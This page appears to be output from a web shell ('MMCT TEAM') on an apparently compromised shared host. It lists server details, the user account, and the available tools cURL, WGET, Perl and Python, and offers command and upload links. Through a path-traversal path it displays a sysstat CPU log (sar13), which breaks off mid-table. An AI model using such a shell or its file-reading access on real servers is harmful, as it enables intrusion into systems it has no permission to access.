MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 18.188.227.108
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /var/lib/nfs/../../asl/../log/sa/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //var/lib/nfs/../../asl/../log/sa/sar13
Linux 4.19.286-203.ELK.el7.x86_64 (md-in-35.webhostbox.net) 	2024-11-13 	_x86_64_	(16 CPU)

12:00:01 AM     CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
12:01:01 AM     all     39.67     27.65     18.48      3.50      1.28      0.00      0.35      0.00      0.00      9.07
12:01:01 AM       0     38.55     29.87     20.08      3.29      1.04      0.00      0.03      0.00      0.00      7.14
12:01:01 AM       1     37.66     29.84     20.33      2.72      1.11      0.00      0.10      0.00      0.00      8.25
12:01:01 AM       2     41.03     29.08     17.51      2.71      1.15      0.00      0.05      0.00      0.00      8.48
12:01:01 AM       3     32.15     25.83     17.33      5.59      2.33      0.00      0.12      0.00      0.00     16.66
12:01:01 AM       4     39.85     26.38     17.48      3.40      0.99      0.00      4.73      0.00      0.00      7.17
12:01:01 AM       5     37.09     29.92     19.81      3.44      1.24      0.00      0.05      0.00      0.00      8.45
12:01:01 AM       6     43.40     24.83     19.20      3.84      1.04      0.00      0.05      0.00      0.00      7.64
12:01:01 AM       7     39.53     27.91     18.09      4.01      1.39      0.00      0.05      0.00      0.00      9.01
12:01:01 AM       8     37.43     28.50     17.69      4.16      1.28      0.00      0.08      0.00      0.00     10.86
12:01:01 AM       9     43.74     27.31     18.26      2.89      0.84      0.00      0.05      0.00      0.00      6.92
12:01:01 AM      10     39.41     29.29     19.16      2.90      1.15      0.00      0.05      0.00      0.00      8.03
12:01:01 AM      11     44.44     23.95     17.98      3.41      1.22      0.00      0.05      0.00      0.00      8.95
12:01:01 AM      12     40.00     19.94     15.78      5.80      2.94      0.00      0.12      0.00      0.00     15.42
12:01:01 AM      13     43.29     29.21     18.15      2.30      0.70      0.00      0.05      0.00      0.00      6.30
12:01:01 AM      14     38.31     30.91     19.37      3.16      1.02      0.00      0.03      0.00      0.00      7.18
12:01:01 AM      15     38.95     29.64     19.57      2.33      0.99      0.00      0.05      0.00      0.00      8.47
12:02:01 AM     all     38.59     27.16     17.20      2.86      0.40      0.00      0.23      0.00      0.00     13.57
12:02:01 AM       0     40.33     25.03     17.55      3.45      0.33      0.00      0.08      0.00      0.00     13.23
12:02:01 AM       1     38.71     27.72     16.75      2.98      0.32      0.00      0.03      0.00      0.00     13.49
12:02:01 AM       2     35.60     31.57     17.82      2.22      0.27      0.00      0.03      0.00      0.00     12.48
12:02:01 AM       3     40.31     28.03     16.75      2.54      0.30      0.00      0.03      0.00      0.00     12.04
12:02:01 AM       4     40.71     26.11     15.85      2.37      0.30      0.00      3.09      0.00      0.00     11.57
12:02:01 AM       5     39.68     27.39     17.17      4.19      0.35      0.00      0.03      0.00      0.00     11.19
12:02:01 AM       6     39.69     29.64     16.86      2.37      0.37      0.00      0.03      0.00      0.00     11.03
12:02:01 AM       7     34.87     25.15     17.12      2.24      0.60      0.00      0.07      0.00      0.00     19.96
12:02:01 AM       8     38.80     24.13     17.89      3.25      0.57      0.00      0.03      0.00      0.00     15.33
12:02:01 AM       9     37.71     29.35     17.84      2.99      0.33      0.00      0.02      0.00      0.00     11.76
12:02:01 AM      10     39.60     29.29     17.34      3.37      0.32      0.00      0.03      0.00      0.00     10.05
12:02:01 AM      11     40.41     26.72     17.18      3.01      0.45      0.00      0.03      0.00      0.00     12.20
12:02:01 AM      12     35.18     26.04     17.99      2.93      0.52      0.00      0.05      0.00      0.00     17.29
12:02:01 AM      13     40.78     28.21     16.16      2.39      0.30      0.00      0.02      0.00      0.00     12.14
12:02:01 AM      14     36.97     20.88     16.17      3.10      0.63      0.00      0.05      0.00      0.00     22.20
12:02:01 AM      15     38.10     29.37     18.72      2.30      0.35      0.00      0.03      0.00      0.00     11.13
12:03:01 AM     all     46.86     24.68     16.43      1.96      0.45      0.00      0.26      0.00      0.00      9.35
12:03:01 AM       0     49.46     23.86     16.16      2.02      0.32      0.00      0.05      0.00      0.00      8.14
12:03:01 AM       1     48.57     25.24     15.90      1.77      0.42      0.00      0.02      0.00      0.00      8.09
12:03:01 AM       2     48.20     24.24     16.70      2.14      0.45      0.00      0.03      0.00      0.00      8.24
12:03:01 AM       3     49.17     23.58     16.91      1.70      0.47      0.00      0.05      0.00      0.00      8.13
12:03:01 AM       4     43.81     26.56     16.39      1.62      0.25      0.00      3.50      0.00      0.00      7.86
12:03:01 AM       5     46.09     27.25     16.81      2.12      0.42      0.00      0.03      0.00      0.00      7.28
12:03:01 AM       6     50.09     22.34     16.04      2.27      0.58      0.00      0.03      0.00      0.00      8.64
12:03:01 AM       7     40.14     23.52     17.30      2.46      0.64      0.00      0.12      0.00      0.00     15.83
12:03:01 AM       8     50.14     23.72     15.95      2.50      0.47      0.00      0.03      0.00      0.00      7.18
12:03:01 AM       9     46.15     26.83     17.00      1.90      0.32      0.00      0.05      0.00      0.00      7.75
12:03:01 AM      10     48.08     26.93     16.16      1.45      0.27      0.00      0.02      0.00      0.00      7.09
12:03:01 AM      11     54.02     18.85     15.63      1.75      0.43      0.00      0.03      0.00      0.00      9.27
12:03:01 AM      12     46.72     24.61     16.44      1.69      0.48      0.00      0.03      0.00      0.00     10.03
12:03:01 AM      13     47.00     28.36     15.11      1.74      0.30      0.00      0.03      0.00      0.00      7.46
12:03:01 AM      14     38.66     20.84     16.42      2.52      1.07      0.00      0.12      0.00      0.00     20.37
12:03:01 AM      15     43.50     28.15     18.00      1.64      0.35      0.00      0.03      0.00      0.00      8.33
12:04:01 AM     all     37.98     24.53     15.84      2.27      0.57      0.00      0.28      0.00      0.00     18.54
12:04:01 AM       0     38.19     23.72     16.47      2.38      0.56      0.00      0.07      0.00      0.00     18.60
12:04:01 AM       1     40.75     24.04     15.49      1.68      0.49      0.00      0.05      0.00      0.00     17.50
12:04:01 AM       2     37.89     24.89     16.11      1.75      0.63      0.00      0.03      0.00      0.00     18.70
12:04:01 AM       3     37.89     23.43     15.99      2.21      0.61      0.00      0.03      0.00      0.00     19.84
12:04:01 AM       4     35.39     26.69     16.15      1.92      0.61      0.00      3.80      0.00      0.00     15.44
12:04:01 AM       5     38.05     25.06     16.28      2.22      0.51      0.00      0.05      0.00      0.00     17.81
12:04:01 AM       6     38.52     26.27     16.45      1.68      0.63      0.00      0.05      0.00      0.00     16.40
12:04:01 AM       7     34.64     25.82     16.43      2.19      0.66      0.00      0.03      0.00      0.00     20.22
12:04:01 AM       8     39.57     27.37     15.81      1.68      0.58      0.00      0.03      0.00      0.00     14.96
12:04:01 AM       9     41.91     24.89     15.63      2.75      0.37      0.00      0.03      0.00      0.00     14.42
12:04:01 AM      10     41.01     25.08     14.36      2.58      0.46      0.00      0.02      0.00      0.00     16.49
12:04:01 AM      11     39.59     21.85     16.45      2.76      0.51      0.00      0.02      0.00      0.00     18.83
12:04:01 AM      12     39.67     23.41     14.77      2.66      0.49      0.00      0.05      0.00      0.00     18.94
12:04:01 AM      13     34.20     19.21     14.04      3.38      0.81      0.00      0.10      0.00      0.00     28.26
12:04:01 AM      14     33.77     21.42     15.53      2.65      0.75      0.00      0.03      0.00      0.00     25.86
12:04:01 AM      15     36.60     29.25     17.47      1.83      0.46      0.00      0.02      0.00      0.00     14.38
12:05:01 AM     all     37.47     28.13     15.93      2.62      0.96      0.00      0.26      0.00      0.00     14.63
12:05:01 AM       0     36.89     28.07     16.44      2.09      1.11      0.00      0.05      0.00      0.00     15.35
12:05:01 AM       1     38.83     29.01     16.12      2.63      0.95      0.00      0.03      0.00      0.00     12.44
12:05:01 AM       2     37.57     29.52     14.96      2.88      0.77      0.00      0.02      0.00      0.00     14.29
12:05:01 AM       3     38.20     30.53     15.47      1.98      0.83      0.00      0.07      0.00      0.00     12.93
12:05:01 AM       4     38.70     28.12     14.44      2.53      0.86      0.00      3.57      0.00      0.00     11.77
12:05:01 AM       5     42.35     24.60     16.95      2.96      0.80      0.00      0.05      0.00      0.00     12.29
12:05:01 AM       6     37.94     27.24     16.08      2.56      0.93      0.00      0.07      0.00      0.00     15.18
12:05:01 AM       7     34.91     32.21     15.86      2.75      0.83      0.00      0.07      0.00      0.00     13.37
12:05:01 AM       8     40.65     29.03     15.34      1.93      0.83      0.00      0.02      0.00      0.00     12.21
12:05:01 AM       9     37.21     27.80     16.53      2.20      1.16      0.00      0.03      0.00      0.00     15.06
12:05:01 AM      10     42.44     27.79     15.57      2.13      0.73      0.00      0.05      0.00      0.00     11.29
12:05:01 AM      11     37.25     29.20     16.27      2.91      0.90      0.00      0.03      0.00      0.00     13.44
12:05:01 AM      12     36.13     18.99     14.90      3.36      1.56      0.00      0.07      0.00      0.00     25.00
12:05:01 AM      13     29.75     30.26     15.70      3.27      1.13      0.00      0.02      0.00      0.00     19.88
12:05:01 AM      14     35.55     27.84     16.33      3.29      1.03      0.00      0.05      0.00      0.00     15.91
12:05:01 AM      15     35.26     29.94     17.86      2.41      0.96      0.00      0.03      0.00      0.00     13.53
12:06:01 AM     all     33.96     27.31     14.91      4.41      0.66      0.00      0.33      0.00      0.00     18.43
12:06:01 AM       0     36.07     27.04     15.17      4.83      0.48      0.00      0.08      0.00      0.00     16.32
12:06:01 AM       1     36.70     28.70     14.15      3.75      0.66      0.00      0.10      0.00      0.00     15.93
12:06:01 AM       2     40.85     26.40     13.41      4.22      0.50      0.00      0.05      0.00      0.00     14.57
12:06:01 AM       3     33.66     29.81     15.44      2.85      0.55      0.00      0.02      0.00      0.00     17.68
12:06:01 AM       4     31.46     30.29     13.74      4.17      0.73      0.00      4.57      0.00      0.00     15.05
12:06:01 AM       5     31.00     26.36     15.91      4.84      0.78      0.00      0.05      0.00      0.00     21.06
12:06:01 AM       6     33.74     28.14     15.42      3.56      0.82      0.00      0.05      0.00      0.00     18.27
12:06:01 AM       7     33.67     26.53     14.78      5.99      0.80      0.00      0.07      0.00      0.00     18.16
12:06:01 AM       8     31.16     21.64     14.92      6.08      0.85      0.00      0.08      0.00      0.00     25.27
12:06:01 AM       9     31.38     27.68     16.28      5.17      0.58      0.00      0.03      0.00      0.00     18.88
12:06:01 AM      10     36.19     28.86     15.17      4.23      0.47      0.00      0.02      0.00      0.00     15.06
12:06:01 AM      11     33.81     24.37     12.42      3.08      0.86      0.00      0.05      0.00      0.00     25.42
12:06:01 AM      12     34.71     20.53     15.53      6.60      0.70      0.00      0.05      0.00      0.00     21.88
12:06:01 AM      13     32.03     28.84     14.63      5.21      0.63      0.00      0.05      0.00      0.00     18.62
12:06:01 AM      14     31.51     32.51     16.25      2.93      0.52      0.00      0.02      0.00      0.00     16.26
12:06:01 AM      15     35.40     29.14     15.29      3.15      0.58      0.00      0.03      0.00      0.00     16.40
12:07:02 AM     all     31.79      8.64     11.43      9.12      0.65      0.00      0.22      0.00      0.00     38.15
12:07:02 AM       0     28.95      9.19     11.44      9.22      0.62      0.00      0.15      0.00      0.00     40.42
12:07:02 AM       1     37.87     11.17     10.70      4.89      0.62      0.00      0.07      0.00      0.00     34.69
12:07:02 AM       2     34.98      5.40     11.88      9.60      0.59      0.00      0.08      0.00      0.00     37.47
12:07:02 AM       3     29.73      9.16     11.14      8.15      0.69      0.00      0.07      0.00      0.00     41.07
12:07:02 AM       4     30.80     14.52     10.67      7.99      0.59      0.00      2.73      0.00      0.00     32.70
12:07:02 AM       5     31.42      7.20     10.33      7.35      0.86      0.00      0.03      0.00      0.00     42.81
12:07:02 AM       6     34.98      9.21     12.63     10.19      0.66      0.00      0.05      0.00      0.00     32.29
12:07:02 AM       7     36.24      7.16     11.62     15.56      0.62      0.00      0.03      0.00      0.00     28.78
12:07:02 AM       8     27.81      7.07     10.30      3.00      0.93      0.00      0.07      0.00      0.00     50.82
12:07:02 AM       9     33.20     12.07     11.47      9.54      0.65      0.00      0.02      0.00      0.00     33.05
12:07:02 AM      10     27.21      8.41     12.97     10.31      0.50      0.00      0.03      0.00      0.00     40.55
12:07:02 AM      11     32.38      5.69     11.07      6.21      0.77      0.00      0.03      0.00      0.00     43.85
12:07:02 AM      12     29.22      8.74     11.86      9.72      0.56      0.00      0.07      0.00      0.00     39.85
12:07:02 AM      13     30.62      9.45     10.54      9.60      0.51      0.00      0.02      0.00      0.00     39.26
